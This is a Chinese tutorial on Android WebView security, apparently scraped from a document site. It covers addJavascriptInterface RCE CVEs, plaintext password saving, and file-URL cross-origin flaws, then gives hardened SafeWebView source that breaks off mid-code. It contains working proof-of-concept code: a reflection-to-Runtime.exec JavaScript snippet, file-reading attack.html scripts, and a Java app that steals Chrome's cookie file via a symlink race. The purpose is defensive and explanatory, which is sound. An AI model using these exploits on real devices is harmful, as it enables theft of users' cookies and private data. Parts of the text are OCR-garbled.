android WebView詳解,常見漏洞詳解和安全源碼(下)_第1頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第2頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第3頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第4頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第5頁
已閱讀5頁,還剩21頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

androidWebView詳解,常見漏洞詳解和安全源碼(下)WebView常見漏洞WebView的漏洞也是不少,列舉一些常見的漏洞,實時更新,如果有其他的常見漏洞知會一下我??WebView任意代碼執行漏洞已知的WebView任意代碼執行漏洞有4個,較早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會引起遠程代碼執行漏洞。接著是CVE-2013-4710,針對某些特定機型會存在addJavascriptInterfaceAPI引起的遠程代碼執行漏洞。之后是CVE-2014-1939爆出WebView中內置導出的“searchBoxJavaBridge_”JavaObject可能被利用,實現遠程任意代碼。再后來是CVE-2014-7224,類似于CVE-2014-1939,WebView內置導出“accessibility”和“accessibilityTraversal”兩個JavaObject接口,可被利用實現遠程任意代碼執行。一般情況下,WebView使用JavaScript腳本的代碼如下所示:WebViewmWebView=(WebView)findViewById(R.id.webView);WebSettingsmsetting=mWebView.getSettings();msetting.setJavaScriptEnabled(true);mWebView.addJavascriptInterface(newTestJsInterface(),“testjs”);mWebView.loadUrl(url);CVE-2012-6636和CVE-2013-4710Android系統為了方便APP中Java代碼和網頁中的Javascript腳本交互,在WebView控件中實現了addJavascriptInterface接口,如上面的代碼所示,我們來看一下這個方法的官方描述:ThismethodcanbeusedtoallowJavaScripttocontrolthehostapplication.Thisisapowerfulfeature,butalsopresentsasecurityriskforappstargetingJELLY_BEANorearlier.AppsthattargetaversionlaterthanJELLY_BEANarestillvulnerableiftheapprunsonadevicerunningAndroidearlierthan4.2.ThemostsecurewaytousethismethodistotargetJELLY_BEAN_MR1andtoensurethemethodiscalledonlywhenrunningonAndroid4.2orlater.Withtheseolderversions,JavaScriptcouldusereflectiontoaccessaninjectedobject'spublicfields.UseofthismethodinaWebViewcontaininguntrustedcontentcouldallowanattackertomanipulatethehostapplicationinunintendedways,executingJavacodewiththepermissionsofthehostapplication.UseextremecarewhenusingthismethodinaWebViewwhichcouldcontainuntrustedcontent.JavaScriptinteractswithJavaobjectonaprivate,backgroundthreadofthisWebView.Careisthereforerequiredtomaintainthreadsafety.TheJavaobject'sfieldsarenotaccessible.ForapplicationstargetedtoAPIlevelLOLLIPOPandabove,methodsofinjectedJavaobjectsareenumerablefromJavaScript.可以看到,在JELLY_BEAN(android4.1)和JELLY_BEAN之前的版本中,使用這個方法是不安全的,網頁中的JS腳本可以利用接口“testjs”調用App中的Java代碼,而Java對象繼承關系會導致很多Public的函數及getClass函數都可以在JS中被訪問,結合Java的反射機制,攻擊者還可以獲得系統類的函數,進而可以進行任意代碼執行,首先第一步WebView添加Javascript對象,并且添加一些權限,比如想要獲取SD卡上面的信息就需要android.permission.WRITE_EXTERNAL_STORAGE;第二步JS中可以遍歷window對象,找到存在getClass方法的對象,再通過反射的機制,得到Runtime對象,然后就可以調用靜態方法來執行一些命令,比如訪問文件的命令;第三步就是從執行命令后返回的輸入流中得到字符串,比如執行完訪問文件的命令之后,就可以得到文件名的信息了,有很嚴重暴露隱私的危險,核心JS代碼:functionexecute(cmdArgs){for(varobjinwindow){if("getClass"inwindow[obj]){alert(obj);returnwindow[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}}}所以當一些APP通過掃描二維碼打開一個外部網頁的時候,就可以執行這段js代碼,漏洞在2013年8月被披露后,很多APP都中招,其中瀏覽器APP成為重災區,但截至目前仍有很多APP中依然存在此漏洞,與以往不同的只是攻擊入口發生了一定的變化。另外一些小廠商的APP開發團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用addJavascriptInterface接口,明目張膽踩雷。出于安全考慮,Google在API17版本中就規定能夠被調用的函數必須以@JavascriptInterface進行注解,理論上如果APP依賴的API為17(Android4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17依然受影響,所以危害性到目前為止依舊不小。關于所有Android機型的占比,可以看看Google的Dashboards:VersionCodenameAPtDistribulion2.332.3.7Gingerbread101,0%-4.034.0.4IceCreamSandwich157.傀4.1.xJellyB&an164.0%4.2.x174.3185.7%4-AKitKat1922.6%50Lollipop2110.1%5.12523.3%5.0Marshmanow2379.6%70忡ougal24OS%截止2017/1/9日,可以看到android5.0之下的手機依舊不少,需要重視。漏洞的解決但是這個漏洞也是有解決方案的,上面的很多地方也都提到了這個漏洞,那么這個漏洞怎么去解決呢?這就需要用到onJsPrompt這個方法了,這里先給出解決這個漏洞的具體步驟,在下面的源碼部分有修復這個漏洞的詳細代碼:繼承WebView,重寫addJavascriptInterface方法,然后在內部自己維護一個對象映射關系的Map,當調用addJavascriptInterface方法,將需要添加的JS接口放入這個Map中;每次當WebView加載頁面的時候加載一段本地的JS代碼:javascript:(functionJsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_nameisexist!!');}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){returnprompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}))},};}})()這段JS代碼定義了注入的格式,其中的XXX為注入對象的方法名字,終端和web端只要按照定義的格式去互相調用即可,如果這個對象有多個方法,則會注冊多個window.XXX_js_interface_name塊;然后在prompt中返回我們約定的字符串,當然這個字符串也可以自己重新定義,它包含了特定的標識符MyApp,后面包含了一串JSON字符串,它包含了方法名,參數,對象名等;當JS調用XXX方法的時候,就會調用到終端Native層的OnJsPrompt方法中,我們再解析出方法名,參數,對象名等,解析出來之后進行相應的處理,同時返回值也可以通過prompt返回回去;window.XXX_js_interface_name代表在window上聲明了一個對象,聲明的方式是:方法名:function(參數1,參數2)。還有一個問題是什么時候加載這段JS呢,在WebView正常加載URL的時候去加載它,但是會發現當WebView跳轉到下一個頁面時,之前加載的JS可能就已經無效了,需要再次加載,所以通常需要在一下幾個方法中加載JS,這幾個方法分別是onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。 通過這幾步,就可以簡單的修復漏洞問題,但是還需要注意幾個問題,需要過濾掉Object類的方法,由于通過反射的形式來得到指定對象的方法,所以基類的方法也可以得到,最頂層的基類就是Object,為了不把getClass等方法注入到JS中,我們需要把Object的共有方法過濾掉,需要過濾的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,A“toString”,“wait”,具體的代碼實現可以看看下面的源碼。CVE-2014-1939在2014年發現在Android4.4以下的系統中,webkit中默認內置了“searchBoxJavaBridge_”,代碼位于“java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執行的威脅,所以就算沒有通過addJavascriptInterface加入任何的對象,系統也會加入一個searchBoxJavaBridge_對象,解決辦法就是通過removeJavascriptInterface方法將對象刪除。CVE-2014-7224在2014年,研究人員DaoyuanWu和RockyChang發現,當系統輔助功能服務被開啟時,在Android4.4以下的系統中,由系統提供的WebView組件都默認導出”accessibility”和”accessibilityTraversal”這兩個接口,代碼位于“android/webkit/AccessibilityInjector.java”,這兩個接口同樣存在遠程任意代碼執行的威脅,同樣的需要通過removeJavascriptInterface方法將這兩個對象刪除。WebView密碼明文存儲漏洞WebView默認開啟密碼保存功能mWebView.setSavePassword(true)如果該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇”是”,密碼會被明文保到/data/data//databases/webview.db中,這樣就有被盜取密碼的危險,所以需要通過WebSettings.setSavePassword(false)關閉密碼保存提醒功能。WebView域控制不嚴格漏洞下,這個APP中有一個頁面叫做WebViewActivity:publicclassWebViewActivityextendsActivity{privateWebViewwebView;publicvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview);webView=(WebView)findViewById(R.id.webView);//webView.getSettings().setJavaScriptEnabled(true);(0)//webView.getSettings().setAllowFileAccess(false); (1)//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)//webView.getSettings().setAllowUniversalAccessFromFileURLs(true);(3)Intenti=getIntent();Stringurl=i.getData().toString();//url=file:///data/local/tmp/attack.htmlwebView.loadUrl(url);}}將該WebViewActivity設置為exported=”true”,當其他應用啟動此Activity時,intent中的data直接被當作url來加載(假定傳進來的url為file:///data/local/tmp/attack.html),通過其他APP使用顯式ComponentName或者其他類似方式就可以很輕松的啟動該WebViewActivity,我們知道因為Android中的sandbox,Android中的各應用是相互隔離的,在一般情況下A應用是不能訪問B應用的文件的,但不正確的使用WebView可能會打破這種隔離,從而帶來應用數據泄露的威脅,即A應用可以通過B應用導出的Activity讓B應用加載一個惡意的file協議的url,從而可以獲取B應用的內部私有文件,下面我們著重分析這幾個API對WebView安全性的影響。setAllowFileAccessEnablesordisablesfileaccesswithinWebView.Fileaccessisenabledbydefault.Notethatthisenablesordisablesfilesystemaccessonly.Assetsandresourcesarestillaccessibleusingfile:///android_assetandfile:///android_res.通過這個API可以設置是否允許WebView使用File協議,Android中默認setAllowFileAccess(true),所以默認值是允許,在File域下,能夠執行任意的JavaScript代碼,APP嵌入的WebView未對HYPERLINKfile:///形式的URL做限制,所以使用file域加載的js能夠使用同源策略跨域訪問導致隱私信息泄露,針對IM類軟件會導致聊天信息、聯系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是cookie信息泄露。如果不允許使用file協議,則不會存在下面將要講到的各種跨源的安全威脅,但同時也限制了WebView的功能,使其不能加載本地的html文件。禁用file協議后,讓WebViewActivity打開attack.html會得到如下圖所示的輸出,圖中所示的文件是存在的,但WebView禁止加載此文件,移動版的Chrome默認禁止加載file協議的文件。m:nnn那么怎么解決呢,不要著急,繼續往下看-setAllowFileAccessFromFileURLsSetswhetherJavaScriptrunninginthecontextofafileschemeURLshouldbeallowedtoaccesscontentfromotherfileschemeURLs.Toenablethemostrestrictive,andthereforesecurepolicy,thissettingshouldbedisabled.NotethatthevalueofthissettingisignoredifthevalueofgetAllowUniversalAccessFromFileURLs()istrue.Notetoo,thatthissettingaffectsonlyJavaScriptaccesstofileschemeresources.Otheraccesstosuchresources,forexample,fromimageHTMLelements,isunaffected.TopreventpossibleviolationofsamedomainpolicyonICE_CREAM_SANDWICHandearlierdevices,youshouldexplicitlysetthisvaluetofalse.ThedefaultvalueistrueforAPIlevelICE_CREAM_SANDWICH_MR1andbelow,andfalseforAPIlevelJELLY_BEANandabove.通過此API可以設置是否允許通過fileurl加載的Javascript讀取其他的本地文件,這個設置在JELLY_BEAN(android4.1)以前的版本默認是允許,在JELLY_BEAN及以后的版本中默認是禁止的。當AllowFileAccessFromFileURLs設置為true時,對應上面的attack.html代碼為:<script>functionloadXMLDoc(){vararm="file:///etc/hosts";varxmlhttp;if(window.XMLHttpRequest){xmlhttp=newXMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("statusis"+xmlhttp.status);if(xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>,此時通過這段代碼就可以成功讀取/etc/hosts的內容,最顯著的例子就是360手機瀏覽器的早期4.8版本,由于未對file域做安全限制,惡意APP調用360瀏覽器加載本地的攻擊頁面(比如惡意APP釋放到sd卡上的一個html)后,就可以獲取360手機瀏覽器下的所有私有數據,包括webviewCookiesChromium.db下的Cookie內容,但是如果設置為false時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從fileurl中的javascript讀取其它本地文件:I/chromium(27749):[INFO:CONSOLE(0)]“XMLHttpRequestcannotloadfile:///etc/hosts.CrossoriginrequestsareonlysupportedforHTTP.”,source:file:///data/local/tmp/attack.htmlsetAllowUniversalAccessFromFileURLs通過此API可以設置是否允許通過fileurl加載的Javascript可以訪問其他的源,包括其他的文件和http,https等其他的源。這個設置在JELLY_BEAN以前的版本默認是允許,在JELLY_BEAN及以后的版本中默認是禁止的。如果此設置是允許,則setAllowFileAccessFromFileURLs不起做用,此時修改attack.html的代碼:<script>functionloadXMLDoc(){vararm="";varxmlhttp;if(window.XMLHttpRequest){xmlhttp=newXMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("statusis"+xmlhttp.status);if(xmlhttp.readyState==4){console.log(xmlhttp.responseText);}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>當AllowFileAccessFromFileURLs為true時,上述javascript可以成功讀取的內容,但設置為false時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從fileurl中的javascript訪問其他源的資源:I/chromium(28336):[INFO:CONSOLE(0)]“XMLHttpRequestcannotload/.OriginnullisnotallowedbyAccess-Control-Allow-Origin.”,source:file:///data/local/tmp/attack.html以上漏洞的初步解決方案通過以上的介紹,初步的方案是使用下面的代碼來杜絕:setAllowFileAccess(true); //設置為false將不能加載本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);這樣就可以讓html頁面加載本地的javascript,同時杜絕加載的js訪問本地的文件或者讀取其他的源,不是就OK了么,而且在JELLY_BEAN(android4.1)版本以及之后不是都默認為false了么,其實不然,我們繼續往下看其他漏洞。使用符號鏈接跨源為了安全的使用WebView,AllowUniversalAccessFromFileURLs和AllowFileAccessFromFileURLs都應該設置為禁止,在JELLY_BEAN(android4.1)及以后的版本中這兩項設置默認也是禁止的,但是即使把這兩項都設置為false,通過fileURL加載的javascript仍然有方法訪問其他的本地文件,通過符號鏈接攻擊可以達到這一目的,前提是允許fileURL執行javascript。這一攻擊能奏效的原因是無論怎么限制file協議的同源檢查,其javascript都應該能訪問當前的文件,通過javascript的延時執行和將當前文件替換成指向其它文件的軟鏈接就可以讀取到被符號鏈接所指的文件,具體攻擊步驟見Chromiumbug144866,下面也貼出了代碼和詳解。因為Chrome最新版本默認禁用file協議,所以這一漏洞在最新版的Chrome中并不存在,Google也并沒有修復它,但是大量使用WebView的應用和瀏覽器,都有可能受到此漏洞的影響,通過利用此漏洞,無特殊權限的惡意APP可以盜取瀏覽器的任意私有文件,包括但不限于Cookie、保存的密碼、收藏夾和歷史記錄,并可以將所盜取的文件上傳到攻擊者的服務器。下圖為通過fileURL讀取某手機瀏覽器Cookie的截圖:截圖將Cookiealert出來了,實際情況可以上傳到服務器,攻擊的詳細代碼如下所示:publicclassMainActivityextendsAppCompatActivity{publicfinalstaticStringMY_PKG="com.example.safewebview";publicfinalstaticStringMY_TMP_DIR="/data/data/"+MY_PKG+"/tmp/";publicfinalstaticStringHTML_PATH=MY_TMP_DIR+"A"+Math.random()+".html";publicfinalstaticStringTARGET_PKG="com.android.chrome";publicfinalstaticStringTARGET_FILE_PATH="/data/data/"+TARGET_PKG+"/app_chrome/Default/Cookies";publicfinalstaticStringHTML="<body>"+"<u>Waitafewseconds.</u>"+"<script>"+"vard=document;"+"functiondoitjs(){"+"varxhr=newXMLHttpRequest;"+"xhr.onload=function(){"+"vartxt=xhr.responseText;"+"d.body.appendChild(d.createTextNode(txt));"+" alert(txt);"+"};"+"xhr.open('GET',d.URL);"+"xhr.send(null);"+"}"+"setTimeout(doitjs,8000);"+"</script>"+"</body>";@OverridepublicvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);doit();publicvoiddoit(){try{//CreateamaliciousHTMLcmdexec("mkdir"+MY_TMP_DIR);cmdexec("echo\""+HTML+"\">"+HTML_PATH);cmdexec("chmod-R777"+MY_TMP_DIR);Thread.sleep(1000);//ForceChrometoloadthemaliciousHTMLinvokeChrome("file://"+HTML_PATH);Thread.sleep(4000);//ReplacetheHTMLwithasymlinktoChrome'sCookiefilecmdexec("rm"+HTML_PATH);cmdexec("ln-s"+TARGET_FILE_PATH+""+HTML_PATH);}catch(Exceptione){}}publicvoidinvokeChrome(Stringurl){Intentintent=newIntent(Intent.ACTION_VIEW,Uri.parse(url));intent.setClassName(TARGET_PKG,TARGET_PKG+".Main");startActivity(intent);}publicvoidcmdexec(Stringcmd){try{String[]tmp=newString[]{"/system/bin/sh","-c",cmd};Runtime.getRuntime().exec(tmp);}catch(Exceptione){}}}這就是使用符號鏈接跨源獲取私有文件的代碼,應該不難讀懂,首先把惡意的js代碼輸出到攻擊應用的目錄下,隨機命名為xx.htm1,并且修改該目錄的權限,修改完成之后休眠Is,讓文件操作完成,完成之后通過系統的Chrome應用去打開這個xx.html文件,然后等待4s讓Chrome加載完成該html,最后將該html刪除,并且使用ln-s命令為Chrome的Cookie文件創建軟連接,注意,在這條命令執行之前xx.htm1是不存在的,執行完這條命令之后,就生成了這個文件,并且將Cookie文件鏈接到了xx.html上,于是就可以通過鏈接來訪問Chrome的Cookie了。setJavaScriptEnabled通過此API可以設置是否允許WebView使用JavaScript,默認是不允許,但很多應用,包括移動瀏覽器為了讓WebView執行http協議中的JavaScript,都會主動設置允許WebView執行JavaScript,而又不會對不同的協議區別對待,比較安全的實現是如果加載的url是http或https協議,則啟用JavaScript,如果是其它危險協議,比如是file協議,則禁用JavaScript。如果是file協議,禁用javascript可以很大程度上減小跨源漏洞對WebView的威脅,但是此時禁用JavaScript的執行并不能完全杜絕跨源文件泄露。例如,有的應用實現了下載功能,對于加載不了的頁面,會自動下載到sd卡中,由于sd卡中的文件所有應用都可以訪問,于是可以通過構造一個fileURL指向被攻擊應用的私有文件,然后用此URL啟動被攻擊應用的WebActivity,這樣由于該WebActivity無法加載該文件,就會將該文件下載到sd卡下面,然后就可以從sd卡上讀取這個文件了,當然這種應用比較少,這個也算是應用自身無意產生的一個漏洞吧。以上漏洞的解決方案針對WebView域控制不嚴格漏洞的安全建議如下:對于不需要使用file協議的應用,禁用file協議;對于需要使用file協議的應用,禁止file協議加載JavaScript。所以兩種解決辦法,第一種類似Chrome,直接禁止file協議:setAllowFileAccess(false); //設置為false將不能加載本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);第二種是根據不同情況不同處理(無法避免應用對于無法加載的頁面下載到sd卡上這個漏洞):setAllowFileAccess(true); //設置為false將不能加載本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);if(url.startsWith("file://"){setJavaScriptEnabled(false);}else{setJavaScriptEnabled(true);}開發中遇見的坑這里記錄一下開發中遇到的一些坑和解決辦法:loadData()方法我們可以通過使用WebView.loadData(Stringdata,StringmimeType,Stringencoding)方法來加載一整個HTML頁面的一小段內容,第一個就是我們需要WebView展示的內容,第二個是我們告訴WebView我們展示內容的類型,一般,第三個是字節碼,但是使用的時候,這里會有一些坑,我們來看一個簡單的例子:Stringhtml=newString("vh3>我是loadData()的標題</h3>vp>  我是他的內容</p>");webView.loadData(html,"text/html","UTF-8");這里的邏輯很簡單,加載一個簡單的富文本標簽,我們看看運行后的效果:勒E£Q6:09WebViewProjecta&'Rae~_loadDatar4*i^%?psHae^eCae"'ae八加-陰億仁冶?*書可以注意到這里顯示成亂碼了,可是明明已經指定了編碼格式為UTF-8啊,可是這就是使用的坑,我們需要將代碼進行修改:Stringhtml=newString("<h3>我是loadData()的標題</h3><p>  我是他的內容</p>");webView.loadData(html,"text/html;charset=UTF-8","null");我們再來看看顯示效果:<r*n滾“ 06:12WebViewProject我是toadData()的標題我宦他的內容!這樣我們就可以看到正確的內容了,Google還指出,在我們這種加載的方法下,我們的Data數據里不能出現'#',‘%',‘\',‘?'這四個字符,如果出現了我們要用%23,%25,%27,%3f對應來替代,網上列舉了未將特定字符轉義過程中遇到的異常現象:%會報找不到頁面錯誤,頁面全是亂碼。#會讓你的goBack失效,但canGoBAck是可以使用的,于是就會產生返回按鈕生效,但不能返回的情況。\和?在轉換時,會報錯,因為它會把\當作轉義符來使用,如果用兩級轉義也不生效。我們在使用loadData()時,就意味著需要把所有的非法字符全部轉換掉,這樣就會給運行速度帶來很大的影響,因為在使用時,很多情況下頁面stytle中會使用很多‘%'號,頁面的數據越多,運行的速度就會越慢。頁面空白當WebView嵌套在ScrollView里面的時候,如果WebView先加載了一個高度很高的網頁,然后加載了一個高度很低的網頁,就會造成WebView的高度無法自適應,底部出現大量空白的情況出現,內存泄漏WebView的內存泄漏是一個比較大的問題,尤其是當加載的頁面比較龐大的時候,解決方法網上也比較多,但是看情況大部分都不是能徹底根治的,這里說一下QQ和微信的做法,每當打開一個WebView界面的時候,會開啟一個新進程,在頁面退出之后通過System.exit(0)關閉這個進程,這樣就不會存在內存泄漏的問題了,setBuiltInZoomControls引起的Crash當使用mWebView.getSettings().setBuiltInZoomControls(true)啟用該設置后,用戶一旦觸摸屏幕,就會出現縮放控制圖標。這個圖標過上幾秒會自動消失,但在3.0之上4.4系統之下很多手機會出現這種情況:如果圖標自動消失前退出當前Activity的話,就會發生ZoomButton找不到依附的Window而造成程序崩潰,解決辦法很簡單就是在Activity的onDestory方法中調用mWebView.setVisibility(View.GONE);方法,手動將其隱藏,就不會崩潰了。后臺無法釋放JS導致耗電如果WebView加載的的html里有一些JS一直在執行比如動畫之類的東西,如果此刻WebView掛在了后臺,這些資源是不會被釋放,用戶也無法感知,導致一直占有CPU增加耗電量,如果遇到這種情況,在onStop和onResume里分別把setJavaScriptEnabled()給設置成false和true即可。源碼及解析來看看解決上述問題的WebView源碼:publicclassSafeWebViewextendsWebView{privatestaticfinalbooleanDEBUG=true;privatestaticfinalStringVAR_ARG_PREFIX="arg";privatestaticfinalStringMSG_PROMPT_HEADER="MyApp:";/***對象名*/privatestaticfinalStringKEY_INTERFACE_NAME="obj";/***函數名*/privatestaticfinalStringKEY_FUNCTION_NAME="func";/***參數數組*/privatestaticfinalStringKEY_ARG_ARRAY="args";/***要過濾的方法數組*/privatestaticfinalString[]mFilterMethods={"getClass","hashCode","notify","notifyAll","equals","toString","wait",};/***緩存addJavascriptInterface的注冊對象*/privateHashMap<String,Object>mJsInterfaceMap=newHashMap<>();/***緩存注入到JavaScriptContext的js腳本*/privateStringmJsStringCache=null;publicSafeWebView(Contextcontext,AttributeSetattrs,intdefStyle){super(context,attrs,defStyle);init();}publicSafeWebView(Contextcontext,AttributeSetattrs){super(context,attrs);init();}publicSafeWebView(Contextcontext){super(context);init();/***WebView初始化,設置監聽,刪除部分Android默認注冊的JS接口*/privatevoidinit(){setWebChromeClient(newWebChromeClientEx());setWebViewClient(newWebViewClientEx());safeSetting();removeUnSafeJavascriptImpl();}/***安全性設置*/privatevoidsafeSetting(){getSettings().setSavePassword(false);getSettings().setAllowFileAccess(false);〃設置為false將不能加載本地 html文件if(Build.VERSION.SDK_INT>=16){getSettings().setAllowFileAccessFromFileURLs(false);getSettings().setAllowUniversalAccessFromFileURLs(false);}}/***檢查SDK版本是否>=3.0(API11)*/privatebooleanhasHoneycomb(){returnBuild.VERSION.SDK_INT>=Build.VERSION_CODES.HONEYCOMB;}/***檢查SDK版本是否>=4.2(API17)*/privatebooleanhasJellyBeanMR1(){return Build.VERSION.SDK_INT >=Build.VERSION_CODES.JELLY_BEAN_MR1;}/***3.0~4.2之間的版本需要移除Google注入的幾個對象*/@SuppressLint("NewApi")privatebooleanremoveUnSafeJavascriptImpl(){if(hasHoneycomb()&&!hasJellyBeanMR1()){super.removeJavascriptInterface("searchBoxJavaBridge_");super.removeJavascriptInterface("accessibility");super.removeJavascriptInterface("accessibilityTraversal");returntrue;}returnfalse;}@OverridepublicvoidsetWebViewClient(WebViewClientclient){if(hasJellyBeanMR1()){super.setWebViewClient(client);}else{if(clientinstanceofWebViewClientEx){super.setWebViewClient(client);}elseif(client==null){super.setWebViewClient(client);}else{thrownewIllegalArgumentException("the\'client\'mustbeasubclassofthe\'WebViewClientEx\'");}}}@OverridepublicvoidsetWebChromeClient(WebChromeClientclient){if(hasJellyBeanMR1()){super.setWebChromeClient(client);}else{if(clientinstanceofWebChromeClientEx){super.setWebChromeClient(client);}elseif(client==null){super.setWebChromeClient(client);}else{thrownewIllegalArgumentException("the\'client\'mustbeasubclassofthe\'WebChromeClientEx\'");}/***如果版本大于4.2,漏洞已經被解決,直接調用基類的addJavascriptInterface*如果版本小于4.2,則使用map緩存待注入對象*/@SuppressLint("JavascriptInterface")@OverridepublicvoidaddJavascriptInterface(Objectobj,StringinterfaceName){if(TextUtils.isEmpty(interfaceName)){return;}//如果在4.2以上,直接調用基類的方法來注冊if(hasJellyBeanMR1()){super.addJavascriptInterface(obj,interfaceName);}else{mJsInterfaceMap.put(interfaceName,obj);}}/***刪除待注入對象,*如果版本為4.2以及4.2以上,則使用父類的removeJavascriptInterface*如果版本小于4.2,則從緩存map中刪除注入對象*/@SuppressLint("NewApi")publicvoidremoveJavascriptInterface(StringinterfaceName){if(hasJellyBeanMR1()){super.removeJavascriptInterface(interfaceName);}else{mJsInterfaceMap.remove(interfaceName);//每次remove之后,都需要重新構造JS注入mJsStringCache=null;injectJavascriptInterfaces();}}/***如果WebView是SafeWebView類型,則向JavaScriptContext注入對象確保WebView是有安全機制的*/privatevoidinjectJavascriptInterfaces(WebViewwebView){if(webViewinstanceofSafeWebView){injectJavascriptInterfaces();/***注入我們構造的JS*/privatevoidinjectJavascriptInterfaces(){if(!TextUtils.isEmpty(mJsStringCache)){loadUrl(mJsStringCache);return;}mJsStringCache=genJavascriptInterfacesString();loadUrl(mJsStringCache);}/***根據緩存的待注入java對象,生成映射的JavaScript代碼,也就是橋梁(SDK4.2之前通過反射生成)*/privateStringgenJavascriptInterfacesString(){if(mJsInterfaceMap.size()==0){returnnull;}/**要注入的JS的格式,其中XXX為注入的對象的方法名,例如注入的對象中有一個方法A,那么這個XXX就是A如果這個對象中有多個方法,則會注冊多個window.XXX_js_interface_name塊,我們是用反射的方法遍歷*注入對象中的帶有@JavaScripterInterface標注的方法**javascript:(functionJsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_nameisexist!!');*}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){returnprompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}))},};*})()*/Iterator<Map.Entry<String,Object>>iteratormJsInterfaceMap.entrySet().iterator();//HEADStringBuilderscript=newStringBuilder();script.append("javascript:(functionJsAddJavascriptInterface_(){");//遍歷待注入java對象,生成相應的js對象try{while(iterator.hasNext()){Map.Entry<String,Object>entry=iterator.next();StringinterfaceName=entry.getKey();Objectobj=entry.getValue();//生成相應的js方法createJsMethod(interfaceName,obj,script);}}catch(Exceptione){e.printStackTrace();}//Endscript.append("})()");returnscript.toString();}/**根據待注入的java對象,生成js方法*@paraminterfaceName對象名@paramobj 待注入的java對象@paramscript js代碼*/privatevoidcreateJsMethod(StringinterfaceName,Objectobj,StringBuilderscript){if(TextUtils.isEmpty(interfaceName)||(null==obj)||(null==script)){return;}Class<?extendsObject>objClass=obj.getClass();script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");if(DEBUG){script.append("console.log('window."+interfaceName+script.append(""_js_interface_nameisexist!!');");}script.append("}else{");script.append("window.").append(interfaceName).append("={");//通過反射機制,添加java對象的方法Method]]methods=objClass.getMethods();for(Methodmethod:methods){StringmethodName=method.getName();//過濾掉Object類的方法,包括getClass()方法,因為在Js中就是通過getClass()方法來得到Runtime實例if(filterMethods(methodName)){continue;}script.append(" ").append(methodName).append(":function(");//添加方法的參數intargCount=method.getParameterTypes().length;if(argCount>0){intmaxCount=argCount-1;for(inti=0;i<maxCount;++i){script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(argCount-1);}script.append("){");//Addimplementationif(method.getReturnType()!=void.class){script.append(" return").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");}else{script.append("prompt('").append(MSG_PROMPT_HEADER).append("'+");}//BeginJSONscript.append("JSON.stringify({");script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");script.append(KEY_ARG_ARRAY).append(":[");//添加參數到JSON串中if(argCount>0){intmax=argCount-1;for(inti=0;i<max;i++){script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(max);}//EndJSONscript.append("]})");//Endpromptscript.append(");");//Endfunction},");script.append("},");}//Endofobjscript.append("};");//Endofiforelsescript.append("}");}/***檢查是否是被過濾的方法*/privatebooleanfilterMethods(StringmethodName){for(Stringmethod:mFilterMethods){if(method.equals(methodName)){returntrue;}}returnfalse;}/**利用反射,調用java對象的方法。<p>從緩存中取出key=interfaceName的java對象,并調用其methodName方法*@paramresult@paraminterfaceName對象名@parammethodName方法名

*@paramargs*@paramargs*@return參數列表*/privatebooleaninvokeJSInterfaceMethod(JsPromptResultresult,StringinterfaceName,StringmethodName,Object[]args){booleansucceed=false;finalObjectobj=mJsInterfaceMap.get(interfaceName);if(null==obj){result.cancel();returnfalse;}Class<?>[]parameterTypes=null;intcount=0;if(args!=null){count=args.length;}if(count>0){parameterTypes=newClass[count];for(inti=0;i<count;++i){parameterTypes[i]=getClassFromJsonObject(args[i]);}}try{Methodmethod=obj.getClass().getMethod(methodName,parameterTypes);ObjectreturnObj=method.invoke(obj,args);//執行接口調用booleanisVoid=returnObj==null||returnObj.getClass()==void.class;StringreturnValue=isVoid?"":returnObj.toString();result.confirm(returnValue);//通過prompt返回調用結果succeed=true;}catch(NoSuchMethodExceptione){e.printStackTrace();}catch(Exceptione){e.printStackTrace();}result.cancel();returnsucceed;}/****@paramobj*@return*/privateClass<?>getClassFromJsonObject(Objectobj){Class<?>cls=obj.getClass();//js對象只支持intbooleanstring三種類型if(cls==Integer.class){cls=Integer.TYPE;}elseif(cls==Boolean.class){cls=Boolean.TYPE